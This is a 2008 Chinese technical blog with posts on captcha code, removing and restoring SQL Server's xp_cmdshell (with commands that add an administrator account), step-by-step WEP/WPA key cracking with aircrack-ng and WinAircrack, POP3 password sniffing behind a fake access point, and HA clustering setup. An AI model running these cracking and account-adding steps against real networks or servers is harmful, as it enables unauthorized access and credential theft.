                $_SESSION['seccode'] = $seccode;

                $im = @imagecreate (48, 20);
                $background_color = imagecolorallocate ($im, 255, 255, 255);

                //设置干扰像素,防止被OCR
                for ($i = 0; $i <= 128; $i++){
                        $point_color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255));
                        imagesetpixel($im, rand(2,128), rand(2,38), $point_color);
                }

                //逐个画上验证码字符
                for ($i=0; $i<=4; $i++){
                        $text_color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255));
                        $x = 5 + $i * 10;
                        $y = 4;
                        imagechar ($im, 5, $x, $y, substr($seccode, $i, 1), $text_color);
                }

                //输出PNG图像
                imagepng ($im);
                imagedestroy ($im);

?>

在留言文件addnote.php的php开始部分加入:

session_start();
if(PHP_VERSION < '4.1.0') {
        $_SESSION = &$HTTP_SESSION_VARS;
}

判断输入部分加入:

      elseif($code=="" or $code!=$_SESSION['seccode']) {
        echo "<center>请输入正确的验证码!<BR>"."<a href='javascript:history.back()'>返回</a></center>";
      exit; }

输入部分:

                验证码<input name="code" type="text" style="width:50px;" value=""/>
                <script>
                        function refimg(){
                                var randval = Math.random();
                                document.getElementById("secunum").src="seccode.php?rnum="+randval;
                        }
                </script>
               <img src="seccode.php" id="secunum" onclick="refimg()" style="cursor : pointer;"> &nbsp;&nbsp;&nbsp;<span class="redzi12_px">(如果看不清请点击图片进行更换.)</span>

测试ok,这下世界清净多了。

Posted by vitter at 2008-07-28 21:28:18 | 评论 (0) | 引用

June 21, 2008

sql server 2000 删除xp cmdshell存储过程

存储过程是存储在 SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是 Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。

删除方法为:

到sql server的查询分析器中,试用存储过程sp_dropextendedproc就可删除xp_cmdshell这个存储过程。

格式为:EXEC sp_dropextendedproc 'xp_cmdshell'

需要时可使用sp_addextendedproc恢复

格式为:EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'。

彻底删除SQL Server2000的xp_cmdShell扩展存贮过程

一、xp_cmdshell的删除及恢复

1、判断xp_cmdshell是否存在

(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

返回结果为1就ok

2、恢复xp_cmdshell的方法

删除扩展存储过过程xp_cmdshell的语句

exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and

返回结果为1就ok

否则需上传c:\inetput\web\xplog70.dll后

exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--

如果是用以下方法删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

则可以用以下语句恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

3.彻底删除xp_cmdshell扩展存储过程

使用上面介绍的删除语句后,在磁盘上找到xplog70.dll这个文件。改名或者删除这个文件。

关于XP_CmdShell的其他信息参加MS文档:http://support.microsoft.com/kb/891984

Posted by vitter at 2008-06-21 15:19:23 | 评论 (2) | 引用

June 16, 2008

Intel 3945ABG用OmniPeek 4.1抓包破解WEP

测试目的:破解WEP加密
测试系统:WINXP/SP2
无线网卡:Intel PRO/Wireless 3945ABG
测试软件:Network Stumbler、OmniPeek 4.1和WinAircrack
测试机器:DELL 640M
1.首先还是要先用Network Stumbler软件找出你要破解的信号的频段和AP的MAC地址,就是软件开头那12位值

2.将Intel PRO/Wireless 3945ABG
驱动升级为10.5.1.72 or 10.5.1.75,有装管理软件请先关闭。
下载文件 Intel PRO/Wireless 3945ABG驱动下载(版本:10.5.1.75 )

3.OmniPeek 4.1软件WildPackets API显示为YES,则说明已正常识别网卡。
下载文件 Microsoft .NET Framework 2.0 SP2下载
(先安装Microsoft .NET Framework 2.0 然后再装WildPackets OmniPeek Personal 4.1)
下载文件 WildPackets OmniPeek Personal 4.1下载

4.如果我们只是抓WEP数据包的话,设置一下只允许抓WEP的数据包。按ctrl+M打开过滤器列表中没有“802.11 WEP Data”过滤项,我们可以增加一个“802.11 WEP Data过滤项”点击左上角绿色“十”字。

5.Filter输入802.11 wep data,在protocol filter中选择802.11 wep data并打勾protocol filter。

6.然后我们要设置一下内存缓存大小,General-Buffer size,调整为100M就足够(这步很重要不然要抓很多次包)。

7.802.11设置好信号的频道,在BSSID中输入AP的MAC(为什么只设置AP的MAC地址呢?是这样子的在多个同名SSID的AP的情况下设置SSID没有用的)

8.在“Filters”选项中在“801.11 WEP Data ”打勾,就是只抓801.11 WEP数据包,过渡掉不需要的包。然后点确定。

9.点栏口中右边绿色按钮"start  capture"就开始抓包。

10.抓包的过程不小心给点stop capture,可以按住shift点start  capture就可以接着抓包了。如当次抓不到所达到数据包量时,可以保存数据包供下次一起加载破解。如果抓包结束了点start capture,按ctrl+S保存。

11.然后保存为DMP格式。

12.打开WinAircrack,打开刚刚保存DMP格式文件,可以一起加载几次抓包数据。

13.选择为64位加密,不确定是64位加密可以不选,点确定。

14.选择你要破解的,这里很好选择看后面IVS值最大就可以了。

15.破解出来WEP64位加密。

Posted by vitter at 2008-06-16 22:15:59 | 评论 (0) | 引用

无线不是舍己为人 网络安防同样重要

在公共地点使用无线的注意事项

对于经常参加现场发布会的新闻工作者和习惯使用公共无线热点的朋友来说,关闭自己系统的“文档和打印共享功能”是十分必要的。因为一般公共热点都是面向所有人免费开放的,并不禁止一个客户端对另一个客户端的访问。

另一方面,我们在公共场所无线上网时也要善于分辨哪些热点是“网络陷阱”。有些黑客会在公共场合设置一个伪装的无线存取设备,来吸引使用者上钩。当伪装的无线设备信号强度非常好时,最容易吸引用户上当受骗。此时,黑客便可等着收取受害者键入的密码,或将病毒码输入受害者计算机中。

选择适当的无线信号覆盖范围

一直以来我们将无线路由器的信号覆盖范围看作是其性能高低的重要标识。其实对于一般家庭用户来说,适当的无线信号覆盖范围将有效的减少网络安全事件的发生。

随着无线技术的发展,破解和入侵手段也变的越来越高明。很多破解无线加密的工具开始逐渐为人所知,也就是说在用户采取安全措施的同时,只要入侵者能搜索到你的网络,就有可能进行破解。但如果我们适当的控制信号覆盖范围,就能彻底保证网络的安全性。

现在大多数无线路由器都具备功率调节功能,这样用户就可以缩小自己的无线网络覆盖范围,使得屋外或相邻的空间内搜索不到你的无线信号,从而保证安全。
有关无线路由器和无线AP差别,详情请参见条目:教你如何区分无线路由器和无线AP差别。

常见防御手段

Mac地址控制

随着无线路由器价格的不断下调,很多个人用户甚至是只有一台电脑的朋友都开始倾向于组件无线网络。
有关交换机、集线器、路由器三者的区别,详情请参见条目:交换机、集线器、路由器区别和使用浅谈。

对于以上这种情况,我们建议您采用Mac地址控制功能,将客户端的Mac地址添加到允许访问通过的列表中,以确保别人无法进入你的无线网络。

善用访问列表

开启无线路由器的访问控制列表功能可以具体地指定允许哪些机器连接到访问点,从而让使用者做到心中有数,尽可能的避免其他非法连接。

三关闭 一开启

    * 关闭SSID:

SSID可以让无线客户端对不同无线网络进行识别。一般SSID都是被无线路由器广播出去的,客户端只有收到这个参数或者手动设定与AP相同的SSID才能连接到无线网络。而我们如果把这个广播禁止,一般的漫游用户在无法找到 SSID的情况下是无法连接到网络的。

    * 关闭DHCP:

关闭DHCP的目的在于入侵者将不得不破解你的IP地址、子网掩码及其它所需的TCP/IP参数,因为如果入侵者不知道你的IP地址,就无法利用你的无线网络进行任何操作。

    * 关闭SNMP:

关于SNMP设置,或者改变公开及专用的共用字符串。以防止黑客利用SNMP获得有关你方网络的重要信息。

    * 开启无线加密:

与WEP加密相比,目前的WPA甚至其第二代技术已经相当完善了。不过,对于企业级用户来说可能还需要在此基础上进行加强,例如对办公区的用户进行分类授权等方法;但对于个人用户的网络安全来说,WPA几乎可以使我们免受一切攻击。我们需要作的只是在路由器设置列表里加上密码,以防止非法入侵和保护终端上文件的安全。

总结

很多时候,无线网络的安全问题其实并不是处于产品本身的原因,而是由于我们没有使用合适的工具或者充分发挥产品本身的性能优势。随着破解技术和相关工具的发展,一些非常规入侵手段也频频出现,如果您愿意了解更多关于无线安防的资料,不妨参考无线网络的攻与防一文。

Posted by vitter at 2008-06-16 13:06:03 | 评论 (0) | 引用

BT3 破解有客户端无线WEP密码成功 完美支持Intel 2200BG

刚在BT3下用2200破解了一个wep加密了的无线网络,写一下具体的方法,我想2200的卡还是非常普及的,有兴趣的可以试试看。
完整的命令如下
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 ap <AP MAC>
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
fconfig eth1 up
ifconfig rtap0 up
airodump-ng --channel <Access Point channel> --bssid <AP MAC> -w dumpfile rtap0
这时你观察station下面是不是有对方的机器,如果客户端有在上网,那么station下面就会有对方的MAC,记下来。
5、打开新的窗口,输入
aireplay-ng --arpreplay -b <AP MAC> -h <客户机的 MAC> -i rtap0 eth1
此时如果对方有客户端在上网,那么DATA的数据会增加,我刚才的情况是有客户端,但是RXQ信号很弱,差不多只有13左右,10分钟才增加了300个 date,不过10分钟后RXQ超过50,接着DATA极速增加,此时在第5步打开的窗口中,ARP得到的数据也会同时增加。
6、当DATA超过100000后,打开新的窗口,输入
aircrack-ng -z -b <AP MAC> dumpfile*.cap
然后就大功告成,抄下密码,上网去吧,嘿嘿。
上面就是BT3光盘启动下,最简单的破解有客户端WEP的全部过程,如果信号好的话,估计也就10来分钟搞定。
Ps:上面命令中的< >是不需要的。

国外的网站上专门有一篇介绍2200破解的,具体原理可参考 http://tinyshell.be/aircrackng/forum/index.php?topic=1775.0

Posted by vitter at 2008-06-16 13:00:50 | 评论 (0) | 引用

backtrack3(BT3) usb版 破解WEP无线网络密码详细步骤

一、先开始制作启动U盘:将下载好的backtrack3(BT3) usb版(下载地址在文章末尾)文件bt3b141207.rar直接解压到U盘(1G以上容量)。把Boot 和BT3两个文件夹放到U盘的根目录,打开BOOT文件夹双击运行" bootinst.bat "批处理文件。U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg" (如果想要中文截面的BT3的菜单,就在下载BT3中文语言包。下载地址:http://file.mofile.com/cn/docs/listallfiles.do 提取密码:4871454552251231。(用的是免费的网络硬盘,广告较多,有些朋友可能没认真看没找到,我说下大概位置,输入提取码后,拉到中间找下面的几个字(红色的) 以下这三个链接后两个均可下载
推荐快车(flashget)高速下载文件 下载文件(IE浏览器) 下载文件(非IE浏览器)
)把压缩包里的"中文包"解压出来,将里面的*.lzm文件拷贝到u盘的BT3\modules目录,即可实现bt3中文化。)

二、之后重启 windows 进入BIOS设置,把BIOS里的frist boot device设置为USB-HDD(或者是USB--ZIP)再重启选择从usb启动。系统进入backtrack3 系统。

三、现在开始破解
1.在shell窗口中输入 ifconfig 命令 ,出现如下信息:
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:(......)Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

2.找出你的无线网卡名字,我这里是 eth1.再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。再输入 ifconfig 命令 ,返回如下信息:
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

3. 输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
命令中的11 表示要破解的频道号,bssid后面的数字表示破解目标的MAC物理地址,outputs表示要生成的包的名称。回车运行。

4.再开一个 shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
其中“targetnet”表示破解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址,00:A1:C1:D8:A5:B6表示本机网卡MAC物理地址

5.再开一个 shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1
获取更多的数据包。

6.返回数据量到1万的时候就可以破解了。再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进行破解。如果破解不成功,让它继续抓包,直到破解。

注:backtrack3(BT3) usb版下载地址:BT3(backtrack3) usb版 下载地址列表

Posted by vitter at 2008-06-16 12:58:50 | 评论 (0) | 引用

破解无线网络WEP/WPA密钥

1、破解软件简介
  WinAirCrackPack工具包是一款无线局域网扫描和密钥破解工具,主要包括airodump和aircrack等工具。它可以监视无线网络中传输的数据,收集数据包,并能计算出WEP/WPA密钥。

2、实验环境系统组成
 2.1 硬件环境
  选用具有WEP和WPA加密功能的无线路由器或AP一台
  带有迅驰无线网卡的笔记本电脑两台(分别定义为STA1和STA2,作为合法无线接入用户)
  抓包无线网卡一块
  笔记本电脑一台(定义为STA3,作为入侵者)
 2.2 软件环境
  入侵者STA3 :WinAirCrackPack工具包,
  注意:STA3要开启在控制面板->管理工具->服务中开启Wireless Zero Config服务。

3、实验拓扑图
     略。

4、配置无线路由器(根据实际网络环境进行配置)
  (1)STA1连接上无线路由器(默认未加密)。右键单击屏幕下的 图标,选择“查看可用的无线网络”,弹出如图1所示的窗口。
  其中显示有多个可用的无线网络,双击TP-LINK连接无线路由器,一会儿就连接成功。
  (2)打开IE浏览器,输入IP地址:192.168.1.1(无线路由器默认局域网IP地址)。
  (3)登录无线路由器管理界面(用户名:admin,密码:admin)。
  单击界面左侧的“网络参数”下的“LAN口设置”选项,设置“IP地址”为192.168.1.8并保存,如图4所示。
  (4)打开IE浏览器,输入IP地址:192.168.1.8,重新登录无线路由器管理界面(注意本实验选择TP-LINK无线路由器,其他品牌产品如CISCO等均有类似配置选项),单击界面左侧的“无线设置”下的“基本设置”选项。
  1)选择“模式”为“54Mbps(802.11g)”;
  2)选择“密钥格式”为“ASCII码”;
  3)选择“密钥类型”为“64位”;
  4)设置“密钥1”为“pjwep”;
  5)单击“保存”。
  (5)当无线路由器设置好WEP密钥后,STA1需要重新连接上无线路由器(输入的密钥与无线路由器设置的密钥相同),一会儿就连接成功。
  (6)打开IE浏览器,输入IP地址:192.168.1.8,重新登录无线路由器管理界面,单击界面左侧的“DHCP服务器”下的“DHCP服务”选项,单击“不启用”并保存,如图8所示,单击“系统工具”下的“重启路由器”对路由器进行重启。

5、破解WEP、WPA密钥的软件下载
http://www.xdowns.com/soft/1/66/2007/Soft_39170.html

基于802.11的嗅探工具集,具有破解wep密钥等功能

aircrack.exe 原WIN32版aircrack程序
airdecap.exe      WEP/WPA解码程序
airodump.exe 数据帧捕捉程序
Updater.exe WIN32版aircrack的升级程序
WinAircrack.exe      WIN32版aircrack图形前端
wzcook.exe 本地无线网卡缓存中的WEPKEY记录程序

我们本次实验的目的是通过捕捉适当的数据帧进行IV(初始化向量)暴力破解得到WEP KEY,因此只需要使用airodump.exe(捕捉数据帧用)与WinAircrack.exe(破解WEP KEY用)两个程序就可以了

6、安装抓包无线网卡
  注:用于抓包无线网卡的驱动采用Atheros v4.2.1,该卡必须采用Atheros AR5001, AR5002, AR5004, AR5005 或 AR5006芯片组,下表的网卡均可使用,本实验我们采用Netgear 的108M无线网卡(型号:WG511T)。
  (1)在STA3笔记本上安装抓包无线网卡驱动。插入无线网卡,弹出如图11所示的窗口。选择“否,暂时不”,单击“下一步”。
  (2) 选择“从列表或指定位置安装”,单击“下一步”。
  (3)选择“不要搜索”,单击“下一步”。
  (4)单击“从磁盘安装”,在弹出的窗口中单击“浏览”,选择E:\WinAircrackPack\atheros421@(目录下的net5211文件,单击“打开”,然后单击“确定”,单击“下一步”,在安装的过程中弹出如图15所示的窗口。

7、破解WEP密钥
  (1)让STA1和STA2重新连接上无线路由器。
  (2)在STA3笔记本电脑上运行airodump,该工具用来捕获数据包,按提示依次选择“16”:破解所用无线网卡的序号;
  “a”,选择芯片类型,这里选择atheros芯片;
  “6”,信道号,一般1、6、11是常用的信道号,选择“0”可以收集全部信道信息;
  “testwep”(该输入文件名可任意);
  “y”,破解WEP时候选择“y”,破解WPA时选择“n”。
  (3)回车后,进入以下界面。
  (4)当该AP的通信数据流量极度频繁(比如可以采用STA1与STA2对拷文件来产生数据流量),“Packets”所对应的数值增长速度就会越大。当大概抓到30万(如采用104位RC4加密需要抓到100万包)“Packets”时关闭airodump窗口,启动 WinAircrack。
  (5)点击左侧的“General”进行设置,选择加密类型为“WEP”,添加捕获的文件(testwep.ivs)。
  (6)点击左侧的“Advanced”进行设置,选择“Aircrack”所在的位置。
  (7)全部设置完后,点击右下角的“Aircrack the key”按钮弹出以下窗口。
  (8)选择要破解网络的BSSID(本实验选择“1”),回车得到最终WEP密钥。

8、破解WPA密钥
  (1)修改无线路由器的加密类型和加密方法,并设置为WPA-PSK认证和TKIP加密方式。
  (2)在STA3笔记本上运行airodump,该工具用来捕获数据包,按提示依次选择“16”,“a”,“6”,“testwpa”(该输入文件名可任意),“n”。
  (3)回车后,进入以下界面
  (4)让STA1重新连接上无线路由器,airodump将捕获一个无线路由器与STA1四次握手的过程。
  (5)启动WinAircrack。
  (6)点击左侧的“General”进行设置,选择加密类型为“WPA-PSK”,添加捕获的文件(testwpa.cap)。
  (7)点击左侧的“Wpa”进行设置,选择一个字典文件(口令字典可下载:例如lastbit.com/dict.asp)。
  (8)全部设置完后,点击右下角的“Aircrack the key”按钮弹出以下窗口,可知已经捕获到一次握手的过程。
  (9)选择要破解网络的BSSID(本实验选择“2”),回车后经过几分钟的计算,最终得到WPA密钥。

9、破解密钥后对网络的危害一例(伪造AP)
  一旦入侵者知道了无线网络的WEP或WPA密钥,就可以连接到本地局域网内,这样入侵者就享有与正常接入用户一样对整个网络访问的权限,进行深度攻击。入侵者可以利用IPBOOK,SuperScan 等类似这样的工具扫描局域网内的计算机,计算机里面的文件、目录、或者整个的硬盘驱动器能够被复制或删除,甚至其他更坏的情况诸如键盘记录、特洛伊木马、间谍程序或其他的恶意程序等等能够被安装到你的系统中,这样后果是非常严重的。
  (1)简介
  当WEP或WPA密码被破解后,入侵者可能用该密码和其他无线接入点(AP)构造一个假网络,当伪装AP的信号强于正常AP或用户靠近伪装 AP时,正常用户会很自然的接入到该假网络中,对于用户本身来说是感觉不到该网络的,就在用户正常收发邮件时,我们可以用类似CAIN这样的工具进行POP3、telnet等口令的破解等攻击。
  (2)POP3口令破解
  1)打开CAIN。
  2)点击菜单栏“Configure”弹出以下窗口。
  3)选择一个将用于抓包的网络适配器,点击“确定”,选择“ ”和“ ”,然后点击“ ”开始监控抓包。
  4)正常用户开始收邮件,该软件可以对邮箱的登陆名和密码进行捕获。
  (3)被破解后的危害
  当黑客窃取了你的邮箱的用户名、密码、POP3服务器和SMTP服务器的IP地址后,就可以直接访问你的邮箱,你的邮件信息将完全暴露在黑客面前。

Posted by vitter at 2008-06-16 12:56:52 | 评论 (1) | 引用

May 13, 2008

奇异的lsass.exe系统错误:终结点格式无效

今天LP说家里的机器进不了系统。晚上下班看了下:

开机进入桌面前出现lsass.exe系统错误,提示:终结点格式无效。点击确认后机器重起,然后又出现同样错误提示。

试着F8还能进安全模式,查了半天病毒和恶意插件,驱动什么的都没啥问题,唯一异常的是日志满了,清空日志还是不行。

网上找了些类似的问题,无非就是病毒、插件、驱动问题。各种方式都试过了,关键是没有找到啥恶意插件。

最后看了看系统还没打SP3,呵呵,终于想到一个奇技淫巧:装Windows XP SP3。进入带网络的安全模式,拷贝一份SP3安装程序,安装重启,OK解决问题。登录前居然又报日志满,进去看看也没异常,清空。

Posted by vitter at 2008-05-13 21:07:44 | 评论 (0) | 引用

April 08, 2008

Linux高可用(HA)集群笔记heartbeat+drbd+nfs

by:http://blog.vfocus.net

heartbeat+drbd

    如果主服务器宕机,造成的损失是不可估量的。要保证主服务器不间断服务,就需要对服务器实现冗余。在众多的实现服务器冗余的解决方案中,heartbeat为我们提供了廉价的、可伸缩的高可用集群方案。我们通过heartbeat+drbd在Linux下创建一个高可用(HA)的集群服务器。
    DRBD是一种块设备,可以被用于高可用(HA)之中。它类似于一个网络RAID-1功能。当你将数据写入本地文件系统时,数据还将会被发送到网络中另一台主机上。以相同的形式记录在一个文件系统中。本地(主节点)与远程主机(备节点)的数据可以保证实时同步。当本地系统出现故障时,远程主机上还会保留有一份相同的数据,可以继续使用。在高可用(HA)中使用DRBD功能,可以代替使用一个共享盘阵。因为数据同时存在于本地主机和远程主机上。切换时,远程主机只要使用它上面的那份备份数据,就可以继续进行服务了。

安装heartbeat

[root@manager src]# rpm -ivh e2fsprogs-1.35-7.1.i386.rpm
[root@manager src]# tar zxvf libnet.tar.gz
[root@manager libnet]# ./configure
[root@manager libnet]# make
[root@manager libnet]# make install
[root@manager src]# tar zxvf heartbeat-2.1.2.tar.tar
[root@manager src]# cd heartbeat-2.1.2
[root@manager heartbeat-2.1.2]# ./ConfigureMe configure
[root@manager heartbeat-2.1.2]# make
[root@manager heartbeat-2.1.2]# make install
[root@manager heartbeat-2.1.2]# cp doc/ha.cf /etc/ha.d/
[root@manager heartbeat-2.1.2]# cp doc/haresources /etc/ha.d/
[root@manager heartbeat-2.1.2]# cp doc/authkeys /etc/ha.d/
[root@manager heartbeat-2.1.2]# cd /etc/ha.d/
开始编辑配置文件(两台机器上都需要安装和配置)
(heartbeat的配置比较简单,网上也有很多例子,这里就不多废话了)

clip_image001

开始编译安装DRBD

[root@manager root]# cp drbd-8.2.1.tar.tar /usr/src/
[root@manager root]# cd /usr/src/
[root@manager src]# tar zxvf drbd-8.2.1.tar.tar
[root@manager src]# cd drbd-8.2.1
[root@manager src]# make KERNVER=2.6.17.11 KDIR=/usr/src/linux-2.6.17.11

如果编译顺利可以看到Module build was successful.
[root@manager drbd-8.2.1]# make install

可以编辑配置文件了

[root@manager drbd-8.2.1]# vi /etc/drbd.conf
在manager和manage_bak上都需要安装drbd服务。
分别在两台机器上配置好/etc/drbd.conf
[root@manager_bak root]# grep -v "#" /etc/drbd.conf
global {
    usage-count yes;                  (是否参加使用者统计,yes为参加)
}
common {
  syncer { rate 300M; }
}
resource r0 {
  protocol C;                            (数据同步协议,C为收到数据并写入后返回,确认成功)
  disk {
    on-io-error   detach;
     size 100G;                         (由于实验环境下两台服务器硬盘大小不同,所以需要设置drbd的大小)
  }
  net {
    after-sb-0pri disconnect;
    rr-conflict disconnect;
  }
  syncer {
    rate 300M;                           (设置网络同步速率)
    al-extents 257;
  }
  on manager_bak {
    device     /dev/drbd0;
    disk       /dev/sda3;
    address    192.168.0.2:7788;
    meta-disk  internal;
  }
  on manager {
    device    /dev/drbd0;
    disk      /dev/sdc;
    address   192.168.0.1:7788;
    meta-disk internal;
  }
}

在启动DRBD之前,需要创建供DRBD记录信息的数据块.分别在两台主机上执行:

[root@manager ha.d]# drbdadm create-md r0
[root@manager ha.d]#mknod /dev/drbd0 b 147 0
[root@manager ha.d]# /etc/init.d/drbd srart

现在两台主机都是备机状态,都是”不一致”状态,这是由于DRBD无法判断哪一方为主机,以哪一方的磁盘数据作为标准数据。所以我们需要初始化,在manager上执行:

[root@manager /]#drbdsetup /dev/drbd0 primary –o

现在数据开始同步,可以用cat /proc/drbd查看数据同步的进度
等数据同步完查看DRBD的状态

[root@manager /]# cat /proc/drbd
version: 8.2.1 (api:86/proto:86-87)
GIT-hash: 318925802fc2638479ad090b73d7af45503dd184 build by root@manager, 2007-12-05 16:40:14
0: cs:Connected st Primary/Secondary ds:UpToDate/UpToDate C r---
    ns:1514 nr:1110 dw:2616 dr:2259 al:0 bm:482 lo:0 pe:0 ua:0 ap:0
        resync: used:0/31 hits:2 misses:2 starving:0 dirty:0 changed:2
        act_log: used:0/257 hits:202 misses:0 starving:0 dirty:0 changed:0
磁盘状态都是”实时”,表示数据同步完成了。

[root@manager /]# mkfs.xfs /dev/drbd0

现在可以把manager上的DRBD设备挂载到/export目录上进行使用。备机的DRBD设备无法被挂载,因为它是用来接收主机数据的,由DRBD负责操作。

[root@manager /]# mount /dev/drbd0 /export
[root@manager /]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda1             10229696   3019636   7210060  30% /
/dev/drbd0           104806400   3046752 101759648   3% /export

现在把之前备份的/export中的所有内容再恢复回去。
如果不使用heartbeat的情况下,DRBD只能手工切换主从关系
现在修改heartbeat的配置文件,使DRBD可以通过heartbeat自动切换

[root@manager /]# vi /etc/ha.d/haresources
manager 192.168.0.3 drbddisk::r0 Filesystem::/dev/drbd0::/export::xfs  dhcpd xinetd portmap nfs

注释:上面那行
manager                                              定义manager为heartbeat的主机
192.168.0.3                                         定义对外服务的IP地址,这个IP自动在主从机之间切换
drbddisk::r0                                         定义使用的drbd资源
Filesystem::/dev/drbd0::/export::xfs     定义挂载文件系统
dhcpd xinetd portmap nfs                    定义其他需要切换的服务(用空格隔开)

现在我们可以测试一下了

(dhcpd portmap nfs等需要切换的服务,应该先在两台服务器上都配置好)

[root@manager root]# chkconfig –list

确定heartbeat和DRBD开机自启动
确定需要由heartbeat切换的服务,开机不自启动(由heartbeat来启用相关的服务)
给gg1接通电源,通过pxe启动系统(gg1是一组服务器中的一台,是一台无盘服务器,启动后挂载在manager上保存的系统)
在manager上ssh gg1

[root@manager root]# ssh gg1
-bash-2.05b#
-bash-2.05b# arp -a
? (192.168.0.3) at 00:19:B9:E4:7D:22 [ether] on eth0
-bash-2.05b# ls
-bash-2.05b# touch test
-bash-2.05b# ls
test

现在在manager上关机或停止heartbeat服务
[root@manager root]# /etc/init.d/heartbeat stop
Stopping High-Availability services:                                                            [  OK  ]

到manager_bak上ifconfig
[root@manager_bak root]# ifconfig
可以看到eth1:0起来了,IP地址是192.168.0.3

[root@manager_bak root]# ssh gg1
-bash-2.05b#
-bash-2.05b# arp -a
? (192.168.0.3) at 00:19:B9:E5:3B:FC [ether] on eth0 (可以看到192.168.0.3的mac地址变了)
-bash-2.05b# ls
test

可以看到在manager上ssh上gg1后建立的test文件
-bash-2.05b# echo "this is test" > test
-bash-2.05b# cat test
this is test

可以看到现在gg1可以正常读写manager_bak上nfs出来的磁盘
现在把manager上的heartbeat服务启动起来

[root@manager root]# /etc/init.d/heartbeat start
Starting High-Availability services:
2007/12/06_12:46:08 INFO:  Resource is stopped                                                   [  OK  ]
-bash-2.05b# cat test
this is test

现在终于大功告成了,之前在不使用drbd的情况下,heartbeat也可以切换apache、dhcpd、portmap、nfs等等服务,但是 nfs服务切换后,必须重新mount一下nfs共享出来的目录,否则会报 Stale NFS file handle 的错误。现在heartbeat+drbd配合使用后,nfs等等服务可以无缝切换,不必再重新mount一下nfs目录了

Posted by vitter at 2008-04-08 14:47:26 | 评论 (0) | 引用

lvs+heard负载均衡文档(DR)

blog:http://blog.vfocus.net

测试环境:
硬件 两台dell1950 (单硬盘)
系统 FC7
软件 ipvsadm-1.24 heartbeat-2.1.2
说明 一台172.16.3.75 (lvsdr)作为主director服务器
     172.16.3.73 (lvsdrbak)作为热备director服务器
     虚拟ip为172.16.3.76
     采用基于DR的模式进行负载均衡

算法采用的是轮叫调度(Round-Robin Scheduling) 即ipvsadm –rr模式

注1:(本次测试为节约机器,将备份节点也作为一台realserver)
注2:算法模式一共有7种分别是
加权轮叫调度(Weighted Round-Robin Scheduling)
最小连接调度(Least-Connection Scheduling)
加权最小连接调度(Weighted Least-Connection Scheduling)
基于局部性的最少链接(Locality-Based Least Connections Scheduling)
带复制的基于局部性最少链接(Locality-Based Least Connections with Replication Scheduling)
目标地址散列调度(Destination Hashing Scheduling)
源地址散列调度(Source Hashing Scheduling)
只需要改变ipvsadm后面的参数
ipvsadm -rr 论叫调度
rr|wrr|lc|wlc|lblc|lblcr|dh|sh|sed|nq

一,配置基于隧道(DR)模式的LVS集群

所需软件 ipvsadm-1.24 http://www.linuxvirtualserver.org/software/
需要建立一个软链接把内核指向/usr/src/linux

ln -s /usr/src/kernels/2.6.9-42.EL-i686/ /usr/src/linux
tar zxvf ipvsadm-1.24.tar.gz
cd ipvsadm-1.2.4
make;make install

1)在lvsdr上部署(备份节点做完全一样的部署)

$ vi /etc/rc.d/init.d/lvsDR

#!/bin/bash
VIP=172.16.3.76
RIP1=172.16.3.73
RIP2=172.16.3.235
. /etc/rc.d/init.d/functions
case "$1" in
start)
echo "start LVS of DirectorServer"
#Set the Virtual IP Address
/sbin/ifconfig lo:0 $VIP broadcast $VIP netmask 255.255.255.255 up
/sbin/route add -host $VIP dev lo:0
#Clear IPVS Table
/sbin/ipvsadm -C
#Set Lvs
/sbin/ipvsadm -A -t $VIP:80 -s rr
/sbin/ipvsadm -a -t $VIP:80 -r $RIP1:80 -g
